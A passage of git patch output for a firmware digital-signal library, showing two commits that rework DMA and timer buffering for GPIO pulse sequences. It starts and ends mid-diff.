LL_DMA_PDATAALIGN_WORD; + internals->dma_config_timer.MemoryOrM2MDstDataSize = LL_DMA_MDATAALIGN_WORD; + internals->dma_config_timer.PeriphRequest = LL_DMAMUX_REQ_TIM2_UP; + internals->dma_config_timer.Priority = LL_DMA_PRIORITY_HIGH; return signal; } @@ -79,6 +92,12 @@ void digital_signal_free(DigitalSignal* signal) { free(signal->edge_timings); free(signal->reload_reg_buff); + if(signal->internals->reload) { + if(signal->internals->reload->buffers) { + free(signal->internals->reload->buffers); + } + free(signal->internals->reload); + } free(signal->internals); free(signal); } @@ -164,33 +183,55 @@ uint32_t digital_signal_get_edge(DigitalSignal* signal, uint32_t edge_num) { void digital_signal_prepare_arr(DigitalSignal* signal) { furi_assert(signal); + DigitalSignalInternals* internals = signal->internals; + /* set up signal polarities */ - if(signal->internals->gpio) { - uint32_t bit_set = signal->internals->gpio->pin; - uint32_t bit_reset = signal->internals->gpio->pin << 16; + if(internals->gpio) { + uint32_t bit_set = internals->gpio->pin; + uint32_t bit_reset = internals->gpio->pin << 16; + +#ifdef DEBUG_OUTPUT + bit_set |= gpio_ext_pb3.pin; + bit_reset |= gpio_ext_pb3.pin << 16; +#endif if(signal->start_level) { - signal->internals->gpio_buff[0] = bit_set; - signal->internals->gpio_buff[1] = bit_reset; + internals->gpio_buff[0] = bit_set; + internals->gpio_buff[1] = bit_reset; } else { - signal->internals->gpio_buff[0] = bit_reset; - signal->internals->gpio_buff[1] = bit_set; + internals->gpio_buff[0] = bit_reset; + internals->gpio_buff[1] = bit_set; } } /* set up edge timings */ - signal->internals->reload_reg_entries = 0; + internals->reload_reg_entries = 0; for(size_t pos = 0; pos < signal->edge_cnt; pos++) { - uint32_t pulse_duration = - signal->edge_timings[pos] + signal->internals->reload_reg_remainder; + uint32_t pulse_duration = signal->edge_timings[pos] + internals->reload_reg_remainder; uint32_t pulse_ticks = (pulse_duration + T_TIM_DIV2) / T_TIM; - signal->internals->reload_reg_remainder = pulse_duration - (pulse_ticks * T_TIM); + internals->reload_reg_remainder = pulse_duration - (pulse_ticks * T_TIM); if(pulse_ticks > 1) { - signal->reload_reg_buff[signal->internals->reload_reg_entries++] = pulse_ticks - 1; + signal->reload_reg_buff[internals->reload_reg_entries++] = pulse_ticks - 1; } } + + /* in case there are no shadow buffers defined, allocate and use the precalced data */ + if(!internals->reload || !internals->reload->count) { + if(internals->reload) { + free(internals->reload); + } + internals->reload = malloc(sizeof(struct ReloadBuffers)); + internals->reload->count = 1; + internals->reload->size = signal->edges_max_cnt; + internals->reload->buffers = malloc(sizeof(uint32_t*)); + internals->reload->buffers[0] = malloc(internals->reload->size * sizeof(uint32_t)); + memcpy( + internals->reload->buffers[0], + signal->reload_reg_buff, + internals->reload_reg_entries * sizeof(uint32_t)); + } } static void digital_signal_stop_dma() { @@ -202,32 +243,8 @@ static void digital_signal_stop_dma() { static void digital_signal_stop_timer() { LL_TIM_DisableCounter(TIM2); - LL_TIM_SetCounter(TIM2, 0); -} - -static bool digital_signal_setup_dma(DigitalSignal* signal) { - furi_assert(signal); - - if(!signal->internals->reload_reg_entries) { - return false; - } - - signal->internals->dma_config_gpio.MemoryOrM2MDstAddress = - (uint32_t)signal->internals->gpio_buff; - signal->internals->dma_config_gpio.PeriphOrM2MSrcAddress = - (uint32_t) & (signal->internals->gpio->port->BSRR); - signal->internals->dma_config_timer.MemoryOrM2MDstAddress = (uint32_t)signal->reload_reg_buff; - signal->internals->dma_config_timer.NbData = signal->internals->reload_reg_entries; - - /* set up DMA channel 1 and 2 for GPIO and timer copy operations */ - LL_DMA_Init(DMA1, LL_DMA_CHANNEL_1, &signal->internals->dma_config_gpio); - LL_DMA_Init(DMA1, LL_DMA_CHANNEL_2, &signal->internals->dma_config_timer); - - /* enable both DMA channels */ - LL_DMA_EnableChannel(DMA1, LL_DMA_CHANNEL_1); - LL_DMA_EnableChannel(DMA1, LL_DMA_CHANNEL_2); - - return true; + LL_TIM_DisableUpdateEvent(TIM2); + LL_TIM_DisableDMAReq_UPDATE(TIM2); } static void digital_signal_setup_timer() { @@ -236,15 +253,45 @@ static void digital_signal_setup_timer() { LL_TIM_SetCounterMode(TIM2, LL_TIM_COUNTERMODE_UP); LL_TIM_SetClockDivision(TIM2, LL_TIM_CLOCKDIVISION_DIV1); LL_TIM_SetPrescaler(TIM2, 0); - LL_TIM_SetAutoReload(TIM2, 10); + LL_TIM_SetAutoReload(TIM2, 0xFFFFFFFF); LL_TIM_SetCounter(TIM2, 0); - LL_TIM_EnableUpdateEvent(TIM2); - LL_TIM_EnableDMAReq_UPDATE(TIM2); } static void digital_signal_start_timer() { - LL_TIM_GenerateEvent_UPDATE(TIM2); LL_TIM_EnableCounter(TIM2); + LL_TIM_EnableUpdateEvent(TIM2); + LL_TIM_EnableDMAReq_UPDATE(TIM2); + LL_TIM_GenerateEvent_UPDATE(TIM2); +} + +static bool digital_signal_setup_dma(DigitalSignal* signal) { + furi_assert(signal); + DigitalSignalInternals* internals = signal->internals; + + uint32_t buffer_entries = internals->reload->entries; + if(!buffer_entries || !internals->reload || !internals->reload->buffers) { + return false; + } + digital_signal_stop_dma(); + + internals->dma_config_gpio.MemoryOrM2MDstAddress = (uint32_t)internals->gpio_buff; + internals->dma_config_gpio.PeriphOrM2MSrcAddress = (uint32_t) & (internals->gpio->port->BSRR); + internals->dma_config_timer.MemoryOrM2MDstAddress = + (uint32_t)internals->reload->buffers[internals->reload->current]; + internals->dma_config_timer.NbData = buffer_entries; + + /* set up DMA channel 1 and 2 for GPIO and timer copy operations */ + LL_DMA_Init(DMA1, LL_DMA_CHANNEL_1, &internals->dma_config_gpio); + LL_DMA_Init(DMA1, LL_DMA_CHANNEL_2, &internals->dma_config_timer); + + /* enable both DMA channels */ + LL_DMA_EnableChannel(DMA1, LL_DMA_CHANNEL_1); + LL_DMA_EnableChannel(DMA1, LL_DMA_CHANNEL_2); + + /* buffer is used now by DMA, skip to next */ + internals->reload->current = (internals->reload->current + 1) % internals->reload->count; + + return true; } void digital_signal_send(DigitalSignal* signal, const GpioPin* gpio) { @@ -279,7 +326,6 @@ void digital_signal_send(DigitalSignal* signal, const GpioPin* gpio) { void digital_sequence_alloc_signals(DigitalSequence* sequence, uint32_t size) { sequence->signals_size = size; sequence->signals = malloc(sequence->signals_size * sizeof(DigitalSignal*)); - sequence->signals_prolonged = malloc(sequence->signals_size * sizeof(bool)); } void digital_sequence_alloc_sequence(DigitalSequence* sequence, uint32_t size) { @@ -298,6 +344,13 @@ DigitalSequence* digital_sequence_alloc(uint32_t size, const GpioPin* gpio) { sequence->gpio = gpio; sequence->bake = false; + sequence->reload = malloc(sizeof(struct ReloadBuffers)); + sequence->reload->count = 2; + sequence->reload->size = 512; + sequence->reload->buffers = malloc(sizeof(uint32_t*)); + sequence->reload->buffers[0] = malloc(sequence->reload->size * sizeof(uint32_t)); + sequence->reload->buffers[1] = malloc(sequence->reload->size * sizeof(uint32_t)); + digital_sequence_alloc_signals(sequence, 32); digital_sequence_alloc_sequence(sequence, size); @@ -311,9 +364,17 @@ void digital_sequence_free(DigitalSequence* sequence) { return; } + /* de-assign the shared reload buffer */ + for(int pos = 0; pos < sequence->signals_size; pos++) { + if(sequence->signals[pos]) { + sequence->signals[pos]->internals->reload = NULL; + } + } + free(sequence->signals); free(sequence->sequence); - free(sequence->signals_prolonged); + free(sequence->reload->buffers); + free(sequence->reload); free(sequence); } @@ -325,10 +386,38 @@ void digital_sequence_set_signal( furi_assert(signal); furi_assert(signal_index < sequence->signals_size); + /* if there is already a signal, unassign the shared reload buffer */ + if(sequence->signals[signal_index]) { + sequence->signals[signal_index]->internals->reload = NULL; + } + sequence->signals[signal_index] = signal; signal->internals->gpio = sequence->gpio; signal->internals->reload_reg_remainder = 0; + /* free the original reload buffer */ + if(signal->internals->reload) { + if(signal->internals->reload->buffers) { + for(uint32_t pos = 0; pos < signal->internals->reload->count; pos++) { + free(signal->internals->reload->buffers[pos]); + } + free(signal->internals->reload->buffers); + } + free(signal->internals->reload); + } + + /* assign the sequence's shared reload buffer */ + signal->internals->reload = sequence->reload; + + /* ensure it is big enough and reallocate if not */ + if(sequence->reload->size < signal->edges_max_cnt) { + free(sequence->reload->buffers); + + sequence->reload->size = signal->edges_max_cnt; + sequence->reload->buffers[0] = malloc(sequence->reload->size * sizeof(uint32_t)); + sequence->reload->buffers[1] = malloc(sequence->reload->size * sizeof(uint32_t)); + } + digital_signal_prepare_arr(signal); } @@ -352,10 +441,11 @@ void digital_sequence_add(DigitalSequence* sequence, uint8_t signal_index) { } static void digital_signal_update_dma(DigitalSignal* signal) { + struct ReloadBuffers* reload = signal->internals->reload; /* keep them prepared in registers so there is less delay when writing */ register bool restart_needed = false; - register volatile uint16_t len = signal->internals->reload_reg_entries; - register volatile uint32_t addr = (uint32_t)signal->reload_reg_buff; + register volatile uint16_t len = reload->entries; + register volatile uint32_t addr = (uint32_t)reload->buffers[reload->current]; /* first make sure it will still count down, else we will risk waiting infinitely */ const uint32_t wait_ms = 10; @@ -374,6 +464,8 @@ static void digital_signal_update_dma(DigitalSignal* signal) { /* if transfer was already active, wait till DMA is done and the last timer ticks are running */ while(LL_DMA_GetDataLength(DMA1, LL_DMA_CHANNEL_2)) { } + } else { + FURI_LOG_D(TAG, "digital_sequence_send_signal: DMA hung, restart needed"); } LL_DMA_DisableChannel(DMA1, LL_DMA_CHANNEL_2); @@ -384,6 +476,8 @@ static void digital_signal_update_dma(DigitalSignal* signal) { if(restart_needed) { LL_TIM_GenerateEvent_UPDATE(TIM2); } + + reload->current = (reload->current + 1) % reload->count; } static bool digital_sequence_send_signal(DigitalSequence* sequence, DigitalSignal* signal) { @@ -437,7 +531,12 @@ DigitalSignal* digital_sequence_bake(DigitalSequence* sequence) { bool digital_sequence_send(DigitalSequence* sequence) { furi_assert(sequence); + struct ReloadBuffers* reload = sequence->reload; + furi_hal_gpio_init(sequence->gpio, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); +#ifdef DEBUG_OUTPUT + furi_hal_gpio_init(&gpio_ext_pb3, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); +#endif if(sequence->bake) { DigitalSignal* sig = digital_sequence_bake(sequence); @@ -450,9 +549,16 @@ bool digital_sequence_send(DigitalSequence* sequence) { int32_t remainder = 0; FURI_CRITICAL_ENTER(); + bool traded_first = false; + for(uint32_t pos = 0; pos < sequence->sequence_used; pos++) { uint8_t signal_index = sequence->sequence[pos]; DigitalSignal* sig = sequence->signals[signal_index]; + DigitalSignal* sig_next = NULL; + + if(pos + 1 < sequence->sequence_used) { + sig_next = sequence->signals[sequence->sequence[pos + 1]]; + } if(!sig) { FURI_LOG_D( @@ -463,27 +569,39 @@ bool digital_sequence_send(DigitalSequence* sequence) { break; } - /* when we are too late more than half a tick, make the first edge temporarily longer */ - bool needs_prolongation = false; + /* if the first edge is handled by prolonging the last pulse of the previous signal, skip it here */ + reload->entries = sig->edge_cnt - (traded_first ? 1 : 0); + memcpy( + reload->buffers[reload->current], + &sig->reload_reg_buff[traded_first ? 1 : 0], + reload->entries * sizeof(uint32_t)); + traded_first = false; + + /* when we are too late more than half a tick, make the first edge temporarily longer */ if(remainder >= T_TIM_DIV2) { remainder -= T_TIM; - needs_prolongation = true; + reload->buffers[reload->current][0] += 1; } /* update the total remainder */ remainder += sig->internals->reload_reg_remainder; - /* do we need to update the prolongation? */ - if(needs_prolongation != sequence->signals_prolonged[signal_index]) { - if(needs_prolongation) { - sig->edge_timings[0]++; - } else { - sig->edge_timings[0]--; + /* when a signal ends with the same level as the next signal begins, let the fist signal generate the whole pulse */ + if(sig_next) { + /* beware, we do not want the level after the last edge, but the last level before that edge */ + bool end_level = sig->start_level ^ ((sig->edge_cnt % 2) == 0); + + /* take from the next, add it to the first */ + if(end_level == sig_next->start_level) { + /* add the traded prolongation to the last pulse */ + reload->buffers[reload->current][reload->entries - 1] += + sig_next->reload_reg_buff[0]; + traded_first = true; } - sequence->signals_prolonged[signal_index] = needs_prolongation; } + /* transmit */ bool success = digital_sequence_send_signal(sequence, sig); if(!success) { @@ -499,16 +617,6 @@ bool digital_sequence_send(DigitalSequence* sequence) { digital_signal_stop_dma(); FURI_CRITICAL_EXIT(); - /* undo previously prolonged edges */ - for(uint32_t pos = 0; pos < sequence->signals_size; pos++) { - DigitalSignal* sig = sequence->signals[pos]; - - if(sig && sequence->signals_prolonged[pos]) { - sig->edge_timings[0]--; - sequence->signals_prolonged[pos] = false; - } - } - return true; } From ae1e93e519d6289f67d83ae0f114ca100ecc347f Mon Sep 17 00:00:00 2001 From: "g3gg0.de" Date: Sat, 4 Feb 2023 01:39:56 +0100 Subject: [PATCH 057/329] DigitalSignal: use cyclic DMA buffer for sequences --- lib/digital_signal/digital_signal.c | 435 +++++++++++++++------------- lib/digital_signal/digital_signal.h | 1 + 2 files changed, 234 insertions(+), 202 deletions(-) diff --git a/lib/digital_signal/digital_signal.c b/lib/digital_signal/digital_signal.c index 4ceca2ead..59278277c 100644 --- a/lib/digital_signal/digital_signal.c +++ b/lib/digital_signal/digital_signal.c @@ -8,13 +8,15 @@ #include #include +/* must be on bank B */ +#define DEBUG_OUTPUT gpio_ext_pb3 -struct ReloadBuffers { - uint32_t** buffers; /* pointers to the shadow buffers, either one or two. NULL if none */ - uint32_t count; /* number of allocated buffers, 0, 1 or 2 */ - uint32_t size; /* maximum entry count of a single buffer */ - uint32_t current; /* current buffer index, the other one is most likely being used */ - uint32_t entries; /* entries in the current buffer */ +struct ReloadBuffer { + uint32_t* buffer; /* DMA ringbuffer */ + uint32_t size; /* maximum entry count of the ring buffer */ + uint32_t write_pos; /* current buffer write index */ + uint32_t read_pos; /* current buffer read index */ + bool dma_active; }; struct DigitalSequence { @@ -27,17 +29,20 @@ struct DigitalSequence { const GpioPin* gpio; uint32_t send_time; bool send_time_active; - struct ReloadBuffers* reload; + LL_DMA_InitTypeDef dma_config_gpio; + LL_DMA_InitTypeDef dma_config_timer; + uint32_t* gpio_buff; + struct ReloadBuffer* dma_buffer; }; struct DigitalSignalInternals { + uint64_t factor; uint32_t reload_reg_entries; uint32_t reload_reg_remainder; uint32_t gpio_buff[2]; const GpioPin* gpio; LL_DMA_InitTypeDef dma_config_gpio; LL_DMA_InitTypeDef dma_config_timer; - struct ReloadBuffers* reload; }; #define TAG "DigitalSignal" @@ -56,9 +61,8 @@ DigitalSignal* digital_signal_alloc(uint32_t max_edges_cnt) { signal->internals = malloc(sizeof(DigitalSignalInternals)); DigitalSignalInternals* internals = signal->internals; - internals->reload = NULL; - internals->reload_reg_entries = 0; - internals->reload_reg_remainder = 0; + + internals->factor = 1024 * 1024; internals->dma_config_gpio.Direction = LL_DMA_DIRECTION_MEMORY_TO_PERIPH; internals->dma_config_gpio.Mode = LL_DMA_MODE_CIRCULAR; @@ -92,12 +96,6 @@ void digital_signal_free(DigitalSignal* signal) { free(signal->edge_timings); free(signal->reload_reg_buff); - if(signal->internals->reload) { - if(signal->internals->reload->buffers) { - free(signal->internals->reload->buffers); - } - free(signal->internals->reload); - } free(signal->internals); free(signal); } @@ -191,8 +189,8 @@ void digital_signal_prepare_arr(DigitalSignal* signal) { uint32_t bit_reset = internals->gpio->pin << 16; #ifdef DEBUG_OUTPUT - bit_set |= gpio_ext_pb3.pin; - bit_reset |= gpio_ext_pb3.pin << 16; + bit_set |= DEBUG_OUTPUT.pin; + bit_reset |= DEBUG_OUTPUT.pin << 16; #endif if(signal->start_level) { @@ -208,7 +206,17 @@ void digital_signal_prepare_arr(DigitalSignal* signal) { internals->reload_reg_entries = 0; for(size_t pos = 0; pos < signal->edge_cnt; pos++) { - uint32_t pulse_duration = signal->edge_timings[pos] + internals->reload_reg_remainder; + uint32_t edge_scaled = (internals->factor * signal->edge_timings[pos]) / (1024 * 1024); + uint32_t pulse_duration = edge_scaled + internals->reload_reg_remainder; + if(pulse_duration < 10 || pulse_duration > 10000000) { + FURI_LOG_D( + TAG, + "[prepare] pulse_duration out of range: %lu = %lu * %llu", + pulse_duration, + signal->edge_timings[pos], + internals->factor); + pulse_duration = 100; + } uint32_t pulse_ticks = (pulse_duration + T_TIM_DIV2) / T_TIM; internals->reload_reg_remainder = pulse_duration - (pulse_ticks * T_TIM); @@ -216,22 +224,6 @@ void digital_signal_prepare_arr(DigitalSignal* signal) { signal->reload_reg_buff[internals->reload_reg_entries++] = pulse_ticks - 1; } } - - /* in case there are no shadow buffers defined, allocate and use the precalced data */ - if(!internals->reload || !internals->reload->count) { - if(internals->reload) { - free(internals->reload); - } - internals->reload = malloc(sizeof(struct ReloadBuffers)); - internals->reload->count = 1; - internals->reload->size = signal->edges_max_cnt; - internals->reload->buffers = malloc(sizeof(uint32_t*)); - internals->reload->buffers[0] = malloc(internals->reload->size * sizeof(uint32_t)); - memcpy( - internals->reload->buffers[0], - signal->reload_reg_buff, - internals->reload_reg_entries * sizeof(uint32_t)); - } } static void digital_signal_stop_dma() { @@ -268,17 +260,15 @@ static bool digital_signal_setup_dma(DigitalSignal* signal) { furi_assert(signal); DigitalSignalInternals* internals = signal->internals; - uint32_t buffer_entries = internals->reload->entries; - if(!buffer_entries || !internals->reload || !internals->reload->buffers) { + if(!signal->internals->reload_reg_entries) { return false; } digital_signal_stop_dma(); internals->dma_config_gpio.MemoryOrM2MDstAddress = (uint32_t)internals->gpio_buff; internals->dma_config_gpio.PeriphOrM2MSrcAddress = (uint32_t) & (internals->gpio->port->BSRR); - internals->dma_config_timer.MemoryOrM2MDstAddress = - (uint32_t)internals->reload->buffers[internals->reload->current]; - internals->dma_config_timer.NbData = buffer_entries; + internals->dma_config_timer.MemoryOrM2MDstAddress = (uint32_t)signal->reload_reg_buff; + internals->dma_config_timer.NbData = signal->internals->reload_reg_entries; /* set up DMA channel 1 and 2 for GPIO and timer copy operations */ LL_DMA_Init(DMA1, LL_DMA_CHANNEL_1, &internals->dma_config_gpio); @@ -288,9 +278,6 @@ static bool digital_signal_setup_dma(DigitalSignal* signal) { LL_DMA_EnableChannel(DMA1, LL_DMA_CHANNEL_1); LL_DMA_EnableChannel(DMA1, LL_DMA_CHANNEL_2); - /* buffer is used now by DMA, skip to next */ - internals->reload->current = (internals->reload->current + 1) % internals->reload->count; - return true; } @@ -323,12 +310,12 @@ void digital_signal_send(DigitalSignal* signal, const GpioPin* gpio) { signal->edge_cnt--; } -void digital_sequence_alloc_signals(DigitalSequence* sequence, uint32_t size) { +static void digital_sequence_alloc_signals(DigitalSequence* sequence, uint32_t size) { sequence->signals_size = size; sequence->signals = malloc(sequence->signals_size * sizeof(DigitalSignal*)); } -void digital_sequence_alloc_sequence(DigitalSequence* sequence, uint32_t size) { +static void digital_sequence_alloc_sequence(DigitalSequence* sequence, uint32_t size) { sequence->sequence_used = 0; sequence->sequence_size = size; sequence->sequence = malloc(sequence->sequence_size); @@ -344,12 +331,31 @@ DigitalSequence* digital_sequence_alloc(uint32_t size, const GpioPin* gpio) { sequence->gpio = gpio; sequence->bake = false; - sequence->reload = malloc(sizeof(struct ReloadBuffers)); - sequence->reload->count = 2; - sequence->reload->size = 512; - sequence->reload->buffers = malloc(sizeof(uint32_t*)); - sequence->reload->buffers[0] = malloc(sequence->reload->size * sizeof(uint32_t)); - sequence->reload->buffers[1] = malloc(sequence->reload->size * sizeof(uint32_t)); + sequence->dma_buffer = malloc(sizeof(struct ReloadBuffer)); + sequence->dma_buffer->size = 32; + sequence->dma_buffer->buffer = malloc(sequence->dma_buffer->size * sizeof(uint32_t)); + + sequence->dma_config_gpio.Direction = LL_DMA_DIRECTION_MEMORY_TO_PERIPH; + sequence->dma_config_gpio.Mode = LL_DMA_MODE_CIRCULAR; + sequence->dma_config_gpio.PeriphOrM2MSrcIncMode = LL_DMA_PERIPH_NOINCREMENT; + sequence->dma_config_gpio.MemoryOrM2MDstIncMode = LL_DMA_MEMORY_INCREMENT; + sequence->dma_config_gpio.PeriphOrM2MSrcDataSize = LL_DMA_PDATAALIGN_WORD; + sequence->dma_config_gpio.MemoryOrM2MDstDataSize = LL_DMA_MDATAALIGN_WORD; + sequence->dma_config_gpio.NbData = 2; + sequence->dma_config_gpio.PeriphRequest = LL_DMAMUX_REQ_TIM2_UP; + sequence->dma_config_gpio.Priority = LL_DMA_PRIORITY_VERYHIGH; + + sequence->dma_config_timer.Direction = LL_DMA_DIRECTION_MEMORY_TO_PERIPH; + sequence->dma_config_timer.Mode = LL_DMA_MODE_CIRCULAR; + sequence->dma_config_timer.PeriphOrM2MSrcIncMode = LL_DMA_PERIPH_NOINCREMENT; + sequence->dma_config_timer.MemoryOrM2MDstIncMode = LL_DMA_MEMORY_INCREMENT; + sequence->dma_config_timer.PeriphOrM2MSrcDataSize = LL_DMA_PDATAALIGN_WORD; + sequence->dma_config_timer.MemoryOrM2MDstDataSize = LL_DMA_MDATAALIGN_WORD; + sequence->dma_config_timer.PeriphOrM2MSrcAddress = (uint32_t) & (TIM2->ARR); + sequence->dma_config_timer.MemoryOrM2MDstAddress = (uint32_t)sequence->dma_buffer->buffer; + sequence->dma_config_timer.NbData = sequence->dma_buffer->size; + sequence->dma_config_timer.PeriphRequest = LL_DMAMUX_REQ_TIM2_UP; + sequence->dma_config_timer.Priority = LL_DMA_PRIORITY_HIGH; digital_sequence_alloc_signals(sequence, 32); digital_sequence_alloc_sequence(sequence, size); @@ -364,17 +370,10 @@ void digital_sequence_free(DigitalSequence* sequence) { return; } - /* de-assign the shared reload buffer */ - for(int pos = 0; pos < sequence->signals_size; pos++) { - if(sequence->signals[pos]) { - sequence->signals[pos]->internals->reload = NULL; - } - } - free(sequence->signals); free(sequence->sequence); - free(sequence->reload->buffers); - free(sequence->reload); + free(sequence->dma_buffer->buffer); + free(sequence->dma_buffer); free(sequence); } @@ -386,38 +385,10 @@ void digital_sequence_set_signal( furi_assert(signal); furi_assert(signal_index < sequence->signals_size); - /* if there is already a signal, unassign the shared reload buffer */ - if(sequence->signals[signal_index]) { - sequence->signals[signal_index]->internals->reload = NULL; - } - sequence->signals[signal_index] = signal; signal->internals->gpio = sequence->gpio; signal->internals->reload_reg_remainder = 0; - /* free the original reload buffer */ - if(signal->internals->reload) { - if(signal->internals->reload->buffers) { - for(uint32_t pos = 0; pos < signal->internals->reload->count; pos++) { - free(signal->internals->reload->buffers[pos]); - } - free(signal->internals->reload->buffers); - } - free(signal->internals->reload); - } - - /* assign the sequence's shared reload buffer */ - signal->internals->reload = sequence->reload; - - /* ensure it is big enough and reallocate if not */ - if(sequence->reload->size < signal->edges_max_cnt) { - free(sequence->reload->buffers); - - sequence->reload->size = signal->edges_max_cnt; - sequence->reload->buffers[0] = malloc(sequence->reload->size * sizeof(uint32_t)); - sequence->reload->buffers[1] = malloc(sequence->reload->size * sizeof(uint32_t)); - } - digital_signal_prepare_arr(signal); } @@ -440,71 +411,26 @@ void digital_sequence_add(DigitalSequence* sequence, uint8_t signal_index) { sequence->sequence[sequence->sequence_used++] = signal_index; } -static void digital_signal_update_dma(DigitalSignal* signal) { - struct ReloadBuffers* reload = signal->internals->reload; - /* keep them prepared in registers so there is less delay when writing */ - register bool restart_needed = false; - register volatile uint16_t len = reload->entries; - register volatile uint32_t addr = (uint32_t)reload->buffers[reload->current]; +static bool digital_sequence_setup_dma(DigitalSequence* sequence) { + furi_assert(sequence); - /* first make sure it will still count down, else we will risk waiting infinitely */ - const uint32_t wait_ms = 10; - const uint32_t wait_ticks = wait_ms * 1000 * furi_hal_cortex_instructions_per_microsecond(); - uint16_t prev_remain = LL_DMA_GetDataLength(DMA1, LL_DMA_CHANNEL_2); - uint32_t prev_timer = DWT->CYCCNT; + digital_signal_stop_dma(); - while(prev_remain == LL_DMA_GetDataLength(DMA1, LL_DMA_CHANNEL_2)) { - if(DWT->CYCCNT - prev_timer > wait_ticks) { - restart_needed = true; - break; - } - } + sequence->dma_config_gpio.MemoryOrM2MDstAddress = (uint32_t)sequence->gpio_buff; + sequence->dma_config_gpio.PeriphOrM2MSrcAddress = (uint32_t) & (sequence->gpio->port->BSRR); - if(!restart_needed) { - /* if transfer was already active, wait till DMA is done and the last timer ticks are running */ - while(LL_DMA_GetDataLength(DMA1, LL_DMA_CHANNEL_2)) { - } - } else { - FURI_LOG_D(TAG, "digital_sequence_send_signal: DMA hung, restart needed"); - } + /* set up DMA channel 1 and 2 for GPIO and timer copy operations */ + LL_DMA_Init(DMA1, LL_DMA_CHANNEL_1, &sequence->dma_config_gpio); + LL_DMA_Init(DMA1, LL_DMA_CHANNEL_2, &sequence->dma_config_timer); - LL_DMA_DisableChannel(DMA1, LL_DMA_CHANNEL_2); - LL_DMA_SetDataLength(DMA1, LL_DMA_CHANNEL_2, len); - LL_DMA_SetMemoryAddress(DMA1, LL_DMA_CHANNEL_2, addr); + /* enable both DMA channels */ + LL_DMA_EnableChannel(DMA1, LL_DMA_CHANNEL_1); LL_DMA_EnableChannel(DMA1, LL_DMA_CHANNEL_2); - if(restart_needed) { - LL_TIM_GenerateEvent_UPDATE(TIM2); - } - - reload->current = (reload->current + 1) % reload->count; -} - -static bool digital_sequence_send_signal(DigitalSequence* sequence, DigitalSignal* signal) { - /* the first iteration has to set up the whole machinery */ - if(!LL_DMA_IsEnabledChannel(DMA1, LL_DMA_CHANNEL_1)) { - if(!digital_signal_setup_dma(signal)) { - FURI_LOG_D(TAG, "digital_sequence_send_signal: Signal has no entries, aborting"); - return false; - } - digital_signal_setup_timer(); - - /* if the send time is specified, wait till the core timer passed beyond that time */ - if(sequence->send_time_active) { - sequence->send_time_active = false; - while(sequence->send_time - DWT->CYCCNT < 0x80000000) { - } - } - digital_signal_start_timer(); - } else { - /* configure next polarities and timings */ - digital_signal_update_dma(signal); - } - return true; } -DigitalSignal* digital_sequence_bake(DigitalSequence* sequence) { +static DigitalSignal* digital_sequence_bake(DigitalSequence* sequence) { furi_assert(sequence); uint32_t edges = 0; @@ -528,14 +454,94 @@ DigitalSignal* digital_sequence_bake(DigitalSequence* sequence) { return ret; } +static void digital_sequence_update_pos(DigitalSequence* sequence) { + struct ReloadBuffer* dma_buffer = sequence->dma_buffer; + + dma_buffer->read_pos = dma_buffer->size - LL_DMA_GetDataLength(DMA1, LL_DMA_CHANNEL_2); +} + +static const uint32_t wait_ms = 10; +static const uint32_t wait_ticks = wait_ms * 1000 * 64; + +static void digital_sequence_finish(DigitalSequence* sequence) { + struct ReloadBuffer* dma_buffer = sequence->dma_buffer; + + if(dma_buffer->dma_active) { + uint32_t prev_timer = DWT->CYCCNT; + uint32_t end_pos = (dma_buffer->write_pos + 1) % dma_buffer->size; + do { + uint32_t last_pos = dma_buffer->read_pos; + + digital_sequence_update_pos(sequence); + + /* we are finished, when the DMA transferred the 0xFFFFFFFF-timer which is the current write_pos */ + if(dma_buffer->read_pos == end_pos) { + break; + } + + if(last_pos != dma_buffer->read_pos) { + prev_timer = DWT->CYCCNT; + } + if(DWT->CYCCNT - prev_timer > wait_ticks) { + FURI_LOG_D( + TAG, + "[SEQ] hung %lu ms in finish (ARR 0x%08lx, read %lu, write %lu)", + wait_ms, + TIM2->ARR, + dma_buffer->read_pos, + dma_buffer->write_pos); + break; + } + } while(1); + } + + digital_signal_stop_timer(); + digital_signal_stop_dma(); +} + +static void digital_sequence_queue_pulse(DigitalSequence* sequence, uint32_t length) { + struct ReloadBuffer* dma_buffer = sequence->dma_buffer; + + if(dma_buffer->dma_active) { + uint32_t prev_timer = DWT->CYCCNT; + uint32_t end_pos = (dma_buffer->write_pos + 1) % dma_buffer->size; + do { + uint32_t last_pos = dma_buffer->read_pos; + digital_sequence_update_pos(sequence); + + if(dma_buffer->read_pos != end_pos) { + break; + } + + if(last_pos != dma_buffer->read_pos) { + prev_timer = DWT->CYCCNT; + } + if(DWT->CYCCNT - prev_timer > wait_ticks) { + FURI_LOG_D( + TAG, + "[SEQ] hung %lu ms in queue (ARR 0x%08lx, read %lu, write %lu)", + wait_ms, + TIM2->ARR, + dma_buffer->read_pos, + dma_buffer->write_pos); + break; + } + } while(1); + } + + dma_buffer->buffer[dma_buffer->write_pos] = length; + dma_buffer->write_pos = (dma_buffer->write_pos + 1) % dma_buffer->size; + dma_buffer->buffer[dma_buffer->write_pos] = 0xFFFFFFFF; +} + bool digital_sequence_send(DigitalSequence* sequence) { furi_assert(sequence); - struct ReloadBuffers* reload = sequence->reload; + struct ReloadBuffer* dma_buffer = sequence->dma_buffer; furi_hal_gpio_init(sequence->gpio, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); #ifdef DEBUG_OUTPUT - furi_hal_gpio_init(&gpio_ext_pb3, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); + furi_hal_gpio_init(&DEBUG_OUTPUT, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); #endif if(sequence->bake) { @@ -547,74 +553,88 @@ bool digital_sequence_send(DigitalSequence* sequence) { } int32_t remainder = 0; - FURI_CRITICAL_ENTER(); - bool traded_first = false; - for(uint32_t pos = 0; pos < sequence->sequence_used; pos++) { - uint8_t signal_index = sequence->sequence[pos]; + FURI_CRITICAL_ENTER(); + + dma_buffer->dma_active = false; + dma_buffer->buffer[0] = 0xFFFFFFFF; + dma_buffer->read_pos = 0; + dma_buffer->write_pos = 0; + + for(uint32_t seq_pos = 0; seq_pos < sequence->sequence_used; seq_pos++) { + uint8_t signal_index = sequence->sequence[seq_pos]; DigitalSignal* sig = sequence->signals[signal_index]; - DigitalSignal* sig_next = NULL; + bool last_signal = ((seq_pos + 1) == sequence->sequence_used); - if(pos + 1 < sequence->sequence_used) { - sig_next = sequence->signals[sequence->sequence[pos + 1]]; + /* all signals are prepared and we can re-use the GPIO buffer from the fist signal */ + if(seq_pos 